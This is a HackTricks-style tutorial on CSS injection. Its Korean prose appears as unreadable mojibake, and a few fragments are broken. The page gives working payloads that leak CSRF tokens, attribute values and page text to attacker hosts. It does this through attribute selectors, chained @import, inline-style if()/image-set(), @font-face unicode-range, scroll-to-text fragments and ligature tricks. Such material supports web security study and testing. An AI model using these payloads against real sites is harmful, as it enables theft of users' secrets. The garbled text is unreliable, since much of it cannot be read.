CSS Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
CSS Injection
LESS Code Injection
LESS๋ ๋ณ์, mixin, ํจ์์ ๊ฐ๋ ฅํ @import ์ง์์๋ฅผ ์ถ๊ฐํ๋ ์ธ๊ธฐ ์๋ CSS ์ ์ฒ๋ฆฌ๊ธฐ์
๋๋ค. ์ปดํ์ผ ๊ณผ์ ์์ LESS ์์ง์ @import ๋ฌธ์์ ์ฐธ์กฐ๋ ๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ค๊ณ (inline) ์ต์
์ด ์ฌ์ฉ๋ ๋ ๊ทธ ๋ด์ฉ์ ๊ฒฐ๊ณผ CSS์ ์ธ๋ผ์ธ์ผ๋ก ์ฝ์
ํฉ๋๋ค.
{{#ref}} less-code-injection.md {{/ref}}
Attribute Selector
CSS selectors๋ input ์์์ name ๋ฐ value ์์ฑ ๊ฐ๊ณผ ์ผ์นํ๋๋ก ์์ฑ๋ฉ๋๋ค. ๋ง์ฝ input ์์์ value ์์ฑ์ด ํน์ ๋ฌธ์๋ก ์์ํ๋ฉด, ๋ฏธ๋ฆฌ ์ ์๋ ์ธ๋ถ ๋ฆฌ์์ค๊ฐ ๋ก๋๋ฉ๋๋ค:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
ํ์ง๋ง ์ด ๋ฐฉ๋ฒ์ hidden input ์์ (type=โhiddenโ)๋ฅผ ๋ค๋ฃฐ ๋ ์ ํ์ด ์์ต๋๋ค. ์จ๊ฒจ์ง ์์๋ ๋ฐฐ๊ฒฝ์ ๋ก๋ํ์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
์จ๊ฒจ์ง ์์ ์ฐํ
์ด ์ ํ์ ์ฐํํ๋ ค๋ฉด ~ general sibling combinator๋ฅผ ์ฌ์ฉํด ์ดํ์ ํ์ ์์๋ฅผ ํ๊นํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด CSS ๊ท์น์ด hidden input ์์ ๋ค์ ์ค๋ ๋ชจ๋ ํ์ ์์์ ์ ์ฉ๋์ด ๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง๊ฐ ๋ก๋๋ฉ๋๋ค:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
์ด ๊ธฐ์ ์ ์ ์ฉํ ์ค์ ์์๋ ์ ๊ณต๋ ์ฝ๋ ์ค๋ํซ์ ์์ธํ ์ค๋ช ๋์ด ์์ต๋๋ค. You can view it here.
CSS Injection์ ์ฌ์ ์๊ตฌ์ฌํญ
For the CSS Injection technique to be effective, certain conditions must be met:
- Payload Length: CSS Injection ๋ฒกํฐ๋ ์กฐ์๋ ์ ํ์๋ค์ ๋ด์ ์ ์์ ๋งํผ ์ถฉ๋ถํ ๊ธด payload๋ฅผ ์ง์ํด์ผ ํฉ๋๋ค.
- CSS Re-evaluation: ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ก๋ํ ์ ์๋ ๋ฅ๋ ฅ์ด ์์ด์ผ ํ๋ฉฐ, ์ด๋ ์๋ก ์์ฑ๋ payload๋ก CSS์ ์ฌํ๊ฐ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ํ์ํฉ๋๋ค.
- External Resources: ์ด ๊ธฐ๋ฒ์ ์ธ๋ถ์ ํธ์คํ ๋ ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ ์ ์๋ ๊ฒ์ ์ ์ ๋ก ํฉ๋๋ค. ์ด๋ ์ฌ์ดํธ์ Content Security Policy (CSP)์ ์ํด ์ ํ๋ ์ ์์ต๋๋ค.
Blind Attribute Selector
As explained in this post, ์ ํ์ :has์ :not์ ๊ฒฐํฉํ๋ฉด ๋ด์ฉ์ ๋ณผ ์ ์๋ ์์(๋ธ๋ผ์ธ๋ ์์)์์๋ ์ฝํ
์ธ ๋ฅผ ์๋ณํ ์ ์์ต๋๋ค. ์ด๋ CSS injection์ ๋ก๋ํ๋ ์น ํ์ด์ง ๋ด๋ถ์ ๋ฌด์์ด ์๋์ง ์ ํ ๋ชจ๋ฅผ ๋ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.\
๋์ผํ ์ ํ์ ์ฌ๋ฌ ๋ธ๋ก์์ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๋ฐ์๋ ํด๋น ์ ํ์๋ค์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค์๊ณผ ๊ฐ์ด:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
์ด๊ฒ์ ๋ค์์ @import ๊ธฐ๋ฒ๊ณผ ๊ฒฐํฉํ๋ฉด, blind ํ์ด์ง์์ CSS injection์ ์ฌ์ฉํด ๋ง์ info๋ฅผ exfiltrateํ ์ ์์ต๋๋ค blind-css-exfiltration.
@import
์ด์ ๊ธฐ๋ฒ์๋ ๋ช ๊ฐ์ง ๋จ์ ์ด ์์ผ๋, prerequisites๋ฅผ ํ์ธํ์ธ์. ๋น์ ์ ํผํด์์๊ฒ ์ฌ๋ฌ ๋งํฌ๋ฅผ ๋ณด๋ผ ์ ์์ด์ผ ํ๊ฑฐ๋, ๋๋ CSS injection ์ทจ์ฝ ํ์ด์ง๋ฅผ iframeํ ์ ์์ด์ผ ํฉ๋๋ค.
๊ทธ๋ฌ๋, ๊ธฐ์ ์ ํ์ง์ ํฅ์์ํค๊ธฐ ์ํด CSS @import ๋ฅผ ์ฌ์ฉํ๋ ๋ ๋ค๋ฅธ ์๋ฆฌํ ๊ธฐ๋ฒ์ด ์์ต๋๋ค.
์ด๊ฒ์ ์ฒ์์ผ๋ก Pepe Vila ๊ฐ ๋ณด์ฌ์คฌ์ผ๋ฉฐ, ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
์ด์ ์ฒ๋ผ ๋์ผํ ํ์ด์ง๋ฅผ ๋งค๋ฒ ์์ญ ๊ฐ์ ์๋ก ๋ค๋ฅธ payload๋ก ๋ฐ๋ณตํด์ ๋ก๋ํ๋ ๋์ (์ด์ ์ฌ๋ก์ฒ๋ผ), ์ฐ๋ฆฌ๋ ํ์ด์ง๋ฅผ ํ ๋ฒ๋ง ๋ก๋ํ๊ณ load the page just once and just with an import to the attackers server (์ด๊ฒ์ด ํผํด์์๊ฒ ๋ณด๋ผ payload์ ๋๋ค):
@import url("//attacker.com:5001/start?");
- import๋ ๊ณต๊ฒฉ์๋ก๋ถํฐ ์ผ๋ถ CSS ์คํฌ๋ฆฝํธ๋ฅผ ์์ ํ๊ณ ๋ธ๋ผ์ฐ์ ๊ฐ ์ด๋ฅผ ๋ก๋ํฉ๋๋ค.
- ๊ณต๊ฒฉ์๊ฐ ๋ณด๋ผ CSS ์คํฌ๋ฆฝํธ์ ์ฒซ ๋ฒ์งธ ๋ถ๋ถ์ ๋ค์ ๊ณต๊ฒฉ์ ์๋ฒ๋ก์ ๋ ๋ค๋ฅธ @import์ ๋๋ค.
- ๊ณต๊ฒฉ์ ์๋ฒ๋ ์์ง ์ด ์์ฒญ์ ์๋ตํ์ง ์์ ๊ฒ์ ๋๋ค. ์ฐ๋ฆฌ๋ ๋ช ๊ฐ์ ๋ฌธ์๋ฅผ leakํ ํ ์ด import์ ๋ํด ๋ค์ ๋ฌธ์๋ค์ leakํ๊ธฐ ์ํ payload๋ก ์๋ตํ๊ธฐ๋ฅผ ์ํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
- payload์ ๋ ๋ฒ์งธ์ด์ ๋ ํฐ ๋ถ๋ถ์ attribute selector leakage payload๊ฐ ๋ ๊ฒ์ ๋๋ค
- ์ด๊ฒ์ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๋น๋ฐ์ ์ฒซ ๋ฒ์งธ ๋ฌธ์์ ๋ง์ง๋ง ๋ฌธ์๋ฅผ ์ ์กํ ๊ฒ์ ๋๋ค
- ๊ณต๊ฒฉ์ ์๋ฒ๊ฐ ๋น๋ฐ์ ์ฒซ ๋ฒ์งธ์ ๋ง์ง๋ง ๋ฌธ์๋ฅผ ์์ ํ๋ฉด, 2๋จ๊ณ์์ ์์ฒญ๋ import์ ์๋ตํ ๊ฒ์ ๋๋ค.
- ์๋ต์ 2, 3, 4๋จ๊ณ์ ์ ํํ ๋์ผํ ๊ฒ์ด์ง๋ง, ์ด๋ฒ์๋ ๋น๋ฐ์ ๋ ๋ฒ์งธ ๋ฌธ์์ ๋์์ ๋ ๋ฒ์งธ ๋ฌธ์๋ฅผ ์ฐพ์ผ๋ ค๊ณ ํ ๊ฒ์ ๋๋ค.
๊ณต๊ฒฉ์๋ f๊ทธ ๋ฃจํ๋ฅผ ๋ฐ๋ผ๊ฐ๋ฉฐ ๋น๋ฐ์ ์์ ํ leakํ ๋๊น์ง ์งํํฉ๋๋ค.
You can find the original Pepe Vilaโs code to exploit this here or you can find almost the same code but commented here.
Tip
The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
css /* value^= to match the beggining of the value*/ input[value^=โ0โ] { โs0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=โfโ] { โe0: url(http://localhost:5001/leak?post=f); }
This allows the script to leak the secret faster.
Warning
Sometimes the script doesnโt detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
No worries, just check the ์ถ๋ ฅ because you can see the flag there.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an elementโs inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: control an elementโs style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
- Read: copy the attribute into a CSS variable: โval: attr(title).
- Decide: select a URL using nested conditionals comparing the variable with string candidates: โsteal: if(style(โval:โ1โ): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: apply background: image-set(var(โsteal)) (or any fetching property) to force a request to the chosen endpoint.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
์๋ํ๋ payload (๋น๊ต ์ ์๋ฐ์ดํ ํ์):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
์ค์ฒฉ๋ ์กฐ๊ฑด๋ฌธ์ ์ฌ์ฉํ ์์ฑ ๊ฐ ์ด๊ฑฐ:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
ํ์ค์ ์ธ ๋ฐ๋ชจ (์ฌ์ฉ์ ์ด๋ฆ ํ์):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notes and limitations:
- ์ฐ๊ตฌ ์์ ์๋ Chromium ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์์ ์๋ํจ; ๋ค๋ฅธ ์์ง์์๋ ๋์์ด ๋ค๋ฅผ ์ ์์.
- ์ ํ/์ด๊ฑฐ ๊ฐ๋ฅํ ๊ฐ ๊ณต๊ฐ(IDs, flags, ์งง์ ์ฌ์ฉ์๋ช ๋ฑ)์ ๊ฐ์ฅ ์ ํฉ. ์ธ๋ถ ์คํ์ผ์ํธ ์์ด ์์์ ๊ธด ๋ฌธ์์ด์ ํ์น๋ ๊ฒ์ ์ฌ์ ํ ์ด๋ ค์.
- URL์ ๊ฐ์ ธ์ค๋ ๋ชจ๋ CSS ์์ฑ์ ์์ฒญ์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ (์: background/image-set, border-image, list-style, cursor, content).
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Other selectors
DOM ์ผ๋ถ์ ์ ๊ทผํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ(CSS selectors):
- .class-to-search:nth-child(2): DOM์์ class๊ฐ โclass-to-searchโ์ธ ๋ ๋ฒ์งธ ํญ๋ชฉ์ ์ฐพ์.
- :empty selector: Used for example in this writeup:
css [role^=โimgโ][aria-label=โ1โ]:empty { background-image: url(โYOUR_SERVER_URL?1โ); }
Error based XS-Search
์ฐธ๊ณ : CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
์ ์ฒด ๋ชฉ์ ์ ์ ์ด๋๋ ์๋ํฌ์ธํธ์์ ์ปค์คํ ํฐํธ๋ฅผ ์ฌ์ฉํ๊ณ ํ ์คํธ(์ด ๊ฒฝ์ฐ, โAโ)๊ฐ ์ง์ ๋ ๋ฆฌ์์ค(favicon.ico)๋ฅผ ๋ก๋ํ ์ ์์ ๋์๋ง ์ด ํฐํธ๋ก ํ์๋๋๋ก ๋ณด์ฅํ๋ ๊ฒ์ด๋ค.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- ์ปค์คํ ํฐํธ ์ฌ์ฉ:
- ์น์ ์
- ํฐํธ ์ด๋ฆ์ poc์ด๋ฉฐ ์ธ๋ถ ์๋ํฌ์ธํธ(http://attacker.com/?leak)์์ ๊ฐ์ ธ์ต๋๋ค.
- unicode-range ์์ฑ์ U+0041๋ก ์ค์ ๋์ด ํน์ ์ ๋์ฝ๋ ๋ฌธ์ โAโ๋ฅผ ํ๊นํ ํฉ๋๋ค.
- ๋์ฒด ํ ์คํธ๊ฐ ์๋ :
- ์น์ ์ id="poc0"์ธ
- ์ด ์์์ font-family๋
- ๋ฆฌ์์ค(favicon.ico)๋ฅผ ๋ก๋ํ์ง ๋ชปํ๋ฉด
- ์ธ๋ถ ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ ์ ์์ ๊ฒฝ์ฐ ๋์ฒด ์ฝํ ์ธ (โAโ)๋ ์ปค์คํ ํฐํธ poc๋ก ๋ ๋๋ง๋ฉ๋๋ค.
Scroll-to-Text Fragment ์คํ์ผ๋ง
:target ์์ฌ ํด๋์ค๋ CSS Selectors Level 4 specification์ ๋ช ์๋ ๋๋ก URL fragment๋ก ํ๊นํ ๋ ์์๋ฅผ ์ ํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ::target-text๋ ํ๋๊ทธ๋จผํธ๊ฐ ํ ์คํธ๋ฅผ ๋ช ์์ ์ผ๋ก ํ๊นํ ํ์ง ์๋ ํ ์ด๋ค ์์๋ ๋งค์นญํ์ง ์๋๋ค๋ ์ ์ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
๊ณต๊ฒฉ์๊ฐ Scroll-to-text fragment ๊ธฐ๋ฅ์ ์ ์ฉํ๋ฉด ๋ณด์ ๋ฌธ์ ๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ HTML injection์ ํตํด ์์ ์ ์๋ฒ์์ ๋ฆฌ์์ค๋ฅผ ๋ถ๋ฌ์ ์นํ์ด์ง์ ํน์ ํ ์คํธ๊ฐ ์กด์ฌํ๋์ง ํ์ธํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ CSS ๊ท์น์ ์ฃผ์ ํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค:
:target::before {
content: url(target.png);
}
์ด๋ฌํ ์ํฉ์์ ํ์ด์ง์ โAdministratorโ๋ผ๋ ํ ์คํธ๊ฐ ์กด์ฌํ๋ฉด, ๋ฆฌ์์ค target.png๊ฐ ์๋ฒ๋ก ์์ฒญ๋์ด ํด๋น ํ ์คํธ์ ์กด์ฌ๋ฅผ ๋ํ๋ ๋๋ค. ์ด ๊ณต๊ฒฉ์ ์๋ ์ฃผ์ ๋ CSS์ Scroll-to-text fragment๋ฅผ ํจ๊ป ํฌํจํ๋ ํน์ ์ ์๋ URL์ ํตํด ์คํ๋ ์ ์์ต๋๋ค:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
์ฌ๊ธฐ์๋ HTML injection์ ์กฐ์ํ์ฌ CSS ์ฝ๋๋ฅผ ์ ์กํ๊ณ , Scroll-to-text fragment (#:~:text=Administrator)๋ฅผ ํตํด ํน์ ํ ์คํธ โAdministratorโ๋ฅผ ๊ฒจ๋ฅํฉ๋๋ค. ํ ์คํธ๊ฐ ๋ฐ๊ฒฌ๋๋ฉด ์ง์ ๋ ๋ฆฌ์์ค๊ฐ ๋ก๋๋์ด ๊ณต๊ฒฉ์์๊ฒ ๊ทธ ์กด์ฌ๋ฅผ ๋ฌด์ฌ์ฝ ์๋ฆฝ๋๋ค.
์ํ ๋ฐฉ์์ผ๋ก ๋ค์ ์ฌํญ์ ์ ์ํด์ผ ํฉ๋๋ค:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF)์ ๋จ์ด ๋๋ ๋ฌธ์ฅ๋ง ๋งค์นญํ๋๋ก ์ค๊ณ๋์ด ์์ด ์์์ ๋น๋ฐ๊ฐ์ด๋ ํ ํฐ์ leakํ ์ ์๋ ๋ฅ๋ ฅ์ด ์ ํ๋ฉ๋๋ค.
- Restriction to Top-level Browsing Contexts: STTF๋ ์ต์์ ๋ธ๋ผ์ฐ์ง ์ปจํ ์คํธ์์๋ง ๋์ํ๋ฉฐ iframes ๋ด์์๋ ์๋ํ์ง ์์ผ๋ฏ๋ก, ์ด๋ค exploitation ์๋๋ ์ฌ์ฉ์์๊ฒ ๋ ๋์ ๋๊ฒ ๋ฉ๋๋ค.
- Necessity of User Activation: STTF๋ ๋์์ ์ํด user-activation gesture๊ฐ ํ์ํ๋ฏ๋ก, exploitations๋ ์ค์ง ์ฌ์ฉ์๊ฐ ์์ํ ๋ค๋น๊ฒ์ด์ ์ ํตํด์๋ง ๊ฐ๋ฅํฉ๋๋ค. ์ด ์๊ตฌ์ฌํญ์ ์ฌ์ฉ์ ์ํธ์์ฉ ์์ด ๊ณต๊ฒฉ์ด ์๋ํ๋ ์ํ์ ์๋นํ ์ํํฉ๋๋ค. ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ ๋ธ๋ก๊ทธ ๊ธ์ ์ ์๋ social engineering, ๋๋ฆฌ ์ฌ์ฉ๋๋ browser extensions์์ ์ํธ์์ฉ ๋ฑ ๊ณต๊ฒฉ ์๋ํ๋ฅผ ์ฉ์ดํ๊ฒ ํ ์ ์๋ ํน์ ์กฐ๊ฑด๊ณผ ์ฐํ ๋ฐฉ๋ฒ์ ์ง์ ํ๊ณ ์์ต๋๋ค.
์ด๋ฌํ ๋ฉ์ปค๋์ฆ๊ณผ ์ ์ฌ์ ์ทจ์ฝ์ ์ ๋ํ ์ธ์์ ์น ๋ณด์์ ์ ์งํ๊ณ ์ด๋ฌํ exploitative tactics์ผ๋ก๋ถํฐ ๋ณดํธํ๋ ๋ฐ ์ค์ํฉ๋๋ค.
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
You can check an exploit using this technique for a CTF here.
@font-face / unicode-range
ํน์ unicode ๊ฐ์ ๋ํด ์ธ๋ถ ํฐํธ๋ฅผ ์ง์ ํ ์ ์์ผ๋ฉฐ, ํด๋น unicode ๊ฐ์ด ํ์ด์ง์ ์กด์ฌํ ๋์๋ง ๊ฐ์ ธ์ต๋๋ค. ์๋ฅผ ๋ค์ด:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch โ?Aโ and โ?Bโ because text node of sensitive-information contains โAโ and โBโ characters. But Chrome and Firefox do not fetch โ?Cโ because it does not contain โCโ. This means that we have been able to read โAโ and โBโ.
Text node exfiltration (I): ligatures
์ฐธ๊ณ : Wykradanie danych w ลwietnym stylu โ czyli jak wykorzystaฤ CSS-y do atakรณw na webaplikacjฤ
์์ ์ค๋ช ๋ ๊ธฐ๋ฒ์ font ligatures๋ฅผ ์ ์ฉํด ๋ ธ๋์์ ํ ์คํธ๋ฅผ ์ถ์ถํ๊ณ ๋๋น ๋ณํ๋ฅผ ๋ชจ๋ํฐ๋งํ๋ ๋ฐฉ๋ฒ์ ํฌํจํฉ๋๋ค. ๊ณผ์ ์ ์ฌ๋ฌ ๋จ๊ณ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค:
- Creation of Custom Fonts:
- SVG fonts๋ ๋ ๋ฌธ์ ์ํ์ค๋ฅผ ๋ํ๋ด๋ ๊ธ๋ฆฌํ์ ํฐ ๋๋น๋ฅผ ์ค์ ํ๋ horiz-adv-x ์์ฑ์ด ์๋ glyph๋ก ์ ์๋ฉ๋๋ค.
- ์์ SVG glyph:
, ์ฌ๊ธฐ์ โXYโ๋ ๋ ๋ฌธ์ ์ํ์ค๋ฅผ ๋ํ๋ ๋๋ค. - ๊ทธ๋ฐ ๋ค์ ์ด ํฐํธ๋ค์ fontforge๋ฅผ ์ฌ์ฉํด woff ํฌ๋งท์ผ๋ก ๋ณํ๋ฉ๋๋ค.
- Detection of Width Changes:
- ํ ์คํธ๊ฐ ์ค๋ฐ๊ฟ๋์ง ์๋๋ก CSS(white-space: nowrap)๋ฅผ ์ฌ์ฉํ๊ณ ์คํฌ๋กค๋ฐ ์คํ์ผ์ ์ปค์คํฐ๋ง์ด์ฆํฉ๋๋ค.
- ์ํ ์คํฌ๋กค๋ฐ๊ฐ ํน์ ์คํ์ผ๋ก ๋ํ๋๋ ๊ฒ์ ํน์ ligature(๋ฐ๋ผ์ ํน์ ๋ฌธ์ ์ํ์ค)๊ฐ ํ ์คํธ์ ์กด์ฌํจ์ ์๋ ค์ฃผ๋ ์งํ(oracle)๋ก ์๋ํฉ๋๋ค.
- ๊ด๋ จ๋ CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Exploit Process:
- Step 1: ๋ ๋ฌธ์ ์์ ๋ํด ํฐ ๋๋น๋ฅผ ๊ฐ์ง๋ ํฐํธ๋ฅผ ์์ฑํฉ๋๋ค.
- Step 2: ํฐ ๋๋น ๊ธ๋ฆฌํ(๋ฌธ์ ์์ฉ ligature)๊ฐ ๋ ๋๋ง๋ ๋๋ฅผ ๊ฐ์งํ๊ธฐ ์ํด ์คํฌ๋กค๋ฐ ๊ธฐ๋ฐ ํธ๋ฆญ์ ์ฌ์ฉํฉ๋๋ค. ์ด๋ ํด๋น ๋ฌธ์ ์ํ์ค์ ์กด์ฌ๋ฅผ ๋ํ๋ ๋๋ค.
- Step 3: ligature๊ฐ ๊ฐ์ง๋๋ฉด, ๊ฐ์ง๋ ์์ ํฌํจํ๊ณ ์์ด๋ ๋ค์ ๋ฌธ์๋ฅผ ์ถ๊ฐํ ์ธ ๋ฌธ์ ์ํ์ค๋ฅผ ๋ํ๋ด๋ ์๋ก์ด ๊ธ๋ฆฌํ๋ค์ ์์ฑํฉ๋๋ค.
- Step 4: ์ธ ๋ฌธ์ ligature์ ๊ฐ์ง๋ฅผ ์ํํฉ๋๋ค.
- Step 5: ์ด ๊ณผ์ ์ ๋ฐ๋ณตํ์ฌ ์ ์ง์ ์ผ๋ก ์ ์ฒด ํ ์คํธ๋ฅผ ๋๋ฌ๋ ๋๋ค.
- Optimization:
- ํ์ฌ <meta refresh=โฆ ๋ฅผ ์ฌ์ฉํ ์ด๊ธฐํ ๋ฐฉ๋ฒ์ ์ต์ ์ด ์๋๋๋ค.
- ๋ณด๋ค ํจ์จ์ ์ธ ์ ๊ทผ ๋ฐฉ์์ CSS @import trick์ ์ด์ฉํ๋ ๊ฒ์ผ๋ก, exploit์ ์ฑ๋ฅ์ ํฅ์์ํฌ ์ ์์ต๋๋ค.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
์ฐธ๊ณ : PoC using Comic Sans by @Cgvwzq & @Terjanq
์ด ํธ๋ฆญ์ ์ด Slackers thread์์ ๊ณต๊ฐ๋์์ต๋๋ค. ํ ์คํธ ๋ ธ๋์์ ์ฌ์ฉ๋๋ charset์ ๋ธ๋ผ์ฐ์ ์ ์ค์น๋ ๊ธฐ๋ณธ ํฐํธ๋ฅผ ์ฌ์ฉํด leak๋ ์ ์์ต๋๋ค: ์ธ๋ถ ํฐํธ๋ ์ปค์คํ ํฐํธ๊ฐ ํ์ํ์ง ์์ต๋๋ค.
์ด ๊ฐ๋ ์ ์ ๋๋ฉ์ด์ ์ ์ฌ์ฉํด์ div์ ๋๋น๋ฅผ ์ ์ง์ ์ผ๋ก ํ์ฅ์ํค๊ณ , ํ ๋ฒ์ ํ๋์ ๋ฌธ์๊ฐ ํ ์คํธ์ โsuffixโ ๋ถ๋ถ์์ โprefixโ ๋ถ๋ถ์ผ๋ก ์ด๋ํ๋๋ก ํ๋ ๋ฐฉ์์ ๊ธฐ๋ฐํฉ๋๋ค. ์ด ๊ณผ์ ์ ํ ์คํธ๋ฅผ ํจ๊ณผ์ ์ผ๋ก ๋ ๋ถ๋ถ์ผ๋ก ๋ถํ ํฉ๋๋ค:
- Prefix: ์ด๊ธฐ ๋ผ์ธ.
- Suffix: ์ดํ ๋ผ์ธ๋ค.
๋ฌธ์๋ค์ ์ ํ ๋จ๊ณ๋ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ผ ๊ฒ์ ๋๋ค:
C
ADB
CA
DB
CAD
B
CADB
์ด ์ ํ ๋์์๋ unicode-range trick์ ์ฌ์ฉํด ๊ฐ ์ ๋ฌธ์๊ฐ prefix์ ํฉ๋ฅํ ๋ ์ด๋ฅผ ์๋ณํฉ๋๋ค. ์ด๋ ๊ธ๊ผด์ Comic Sans๋ก ๋ณ๊ฒฝํจ์ผ๋ก์จ ๋ฌ์ฑ๋๋๋ฐ, Comic Sans๋ ๊ธฐ๋ณธ ํฐํธ๋ณด๋ค ๋์ด๊ฐ ์ปค์ ์ธ๋ก ์คํฌ๋กค๋ฐ๋ฅผ ์ ๋ฐํฉ๋๋ค. ์ด ์คํฌ๋กค๋ฐ์ ๋ฑ์ฅ์ผ๋ก prefix์ ์ ๋ฌธ์๊ฐ ์์์ ๊ฐ์ ์ ์ผ๋ก ์ ์ ์์ต๋๋ค.
๋น๋ก ์ด ๋ฐฉ๋ฒ์ผ๋ก ๊ณ ์ ํ ๋ฌธ์๊ฐ ๋ํ๋ ๋ ์ด๋ฅผ ๊ฐ์งํ ์ ์์ง๋ง, ์ด๋ค ๋ฌธ์๊ฐ ๋ฐ๋ณต๋๋์ง๊น์ง๋ ํน์ ํ์ง ๋ชปํ๊ณ ๋จ์ง ๋ฐ๋ณต์ด ๋ฐ์ํ์์ ์ ์ ์์ต๋๋ค.
Tip
๊ธฐ๋ณธ์ ์ผ๋ก, unicode-range is used to detect a charํ์ง๋ง ์ธ๋ถ ํฐํธ๋ฅผ ๋ก๋ํ๊ณ ์ถ์ง ์์ผ๋ฏ๋ก ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํฉ๋๋ค.
